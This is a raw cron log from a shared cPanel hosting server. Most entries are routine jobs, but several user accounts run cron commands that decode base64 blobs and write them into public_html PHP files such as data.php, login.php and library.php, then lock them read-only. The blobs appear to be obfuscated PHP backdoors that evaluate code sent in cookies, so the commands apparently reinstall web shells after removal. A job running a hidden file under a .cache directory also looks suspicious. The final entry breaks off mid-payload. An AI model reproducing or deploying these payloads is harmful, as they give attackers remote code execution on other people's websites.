Mar  1 11:54:01 medusa CROND[27496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:54:01 medusa CROND[27498]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:54:01 medusa CROND[27499]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:54:01 medusa CROND[27503]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:54:01 medusa CROND[27508]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:55:01 medusa CROND[17409]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:55:01 medusa CROND[17421]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:55:01 medusa CROND[17562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:55:01 medusa CROND[17564]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:55:01 medusa CROND[17565]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:55:01 medusa CROND[17568]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:55:01 medusa CROND[17569]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:55:01 medusa CROND[17570]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:55:01 medusa CROND[17567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:55:01 medusa CROND[17580]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:55:01 medusa CROND[17579]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:55:01 medusa CROND[17581]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:55:01 medusa CROND[17585]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:55:01 medusa CROND[17587]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:55:01 medusa CROND[17590]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:55:01 medusa CROND[17589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:55:01 medusa CROND[17593]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:55:01 medusa CROND[17597]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:55:01 medusa CROND[17583]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:55:01 medusa CROND[17601]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:55:01 medusa CROND[17602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:55:01 medusa CROND[17586]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:56:01 medusa CROND[7459]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:56:01 medusa CROND[7540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:56:01 medusa CROND[7543]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:56:01 medusa CROND[7546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:56:01 medusa CROND[7547]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:56:01 medusa CROND[7548]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:56:01 medusa CROND[7549]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:56:01 medusa CROND[7551]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:56:01 medusa CROND[7552]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:56:01 medusa CROND[7555]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:56:01 medusa CROND[7558]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:56:01 medusa CROND[7550]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:56:01 medusa CROND[7561]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:56:01 medusa CROND[7570]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0h